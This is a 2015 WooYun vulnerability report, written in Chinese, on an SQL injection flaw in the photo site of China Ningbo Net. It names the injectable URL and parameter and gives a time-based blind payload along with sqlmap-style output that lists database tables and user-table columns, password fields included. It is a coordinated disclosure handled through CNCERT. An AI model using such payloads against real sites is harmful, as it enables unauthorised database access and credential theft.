当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107319

漏洞标题:中国宁波网(宁波日报旗下)存在SQL注入

相关厂商:中国宁波网

漏洞作者: 崔超杰

提交时间:2015-04-14 11:43

修复时间:2015-05-31 17:44

公开时间:2015-05-31 17:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-14: 细节已通知厂商并且等待厂商处理中
2015-04-16: 厂商已经确认,细节仅向厂商公开
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开

简要描述:

中国宁波网(宁波日报旗下)存SQL注入,可获取数据库等敏感信息

详细说明:

注入点:http://pic.cnnb.com.cn/showtheme.php?themeid=125119&columnid=photoclass18

0.jpg


1.jpg


---
Place: GET
Parameter: themeid
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: themeid=125040 AND SLEEP(5)&columnid=photoclass18
---
[14:37:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[14:37:47] [INFO] fetching current database
[14:37:47] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[14:38:03] [WARNING] adjusting time delay to 1 second
p[14:38:54] [ERROR] invalid character detected. retrying..
[14:38:54] [WARNING] adjusting time delay to 2 seconds
hoto[14:40:53] [ERROR] invalid character detected. retrying..
[14:40:53] [WARNING] adjusting time delay to 3 seconds
current database: 'photo'


2.jpg


Database: photo
[24 tables]
+----------------------+
| pagetemplate |
| property |
| propertyvalue |
| rectheme |
| result |
| temp1 |
| temp1a |
| temp1b |
| temp1c |
| temp1d |
| temp2 |
| temp3 |
| temp3a |
| temp3b |
| temp3c |
| temp3d |
| temp3e |
| theme |
| theme_pic |
| themeproperty |
| themesubjectcolumn |
| themesubjectlocation |
| user |
| usergroup |
+----------------------+


3.jpg


Database: photo
Table: user
[11 columns]
+---------------+---------------+
| Column | Type |
+---------------+---------------+
| `` | |
| factname | |
| groupid | int(11) |
| userid | int(11) |
| userintro | varchar(8000) |
| username | varchar(255) |
| userpassed | int(11) |
| userpassword | varchar(255) |
| userpic | varchar(255) |
| usertelephone | varchar(255) |
| userworkunit | varchar(255) |
+---------------+---------------+


6.png


漏洞证明:

注入点:http://pic.cnnb.com.cn/showtheme.php?themeid=125119&columnid=photoclass18

0.jpg


6.png


修复方案:

themeid 过滤

版权声明:转载请注明来源 崔超杰@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-04-16 17:42

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给浙江分中心,由浙江分中心后续协调网站管理单位处置

最新状态:

暂无


漏洞评价:

评论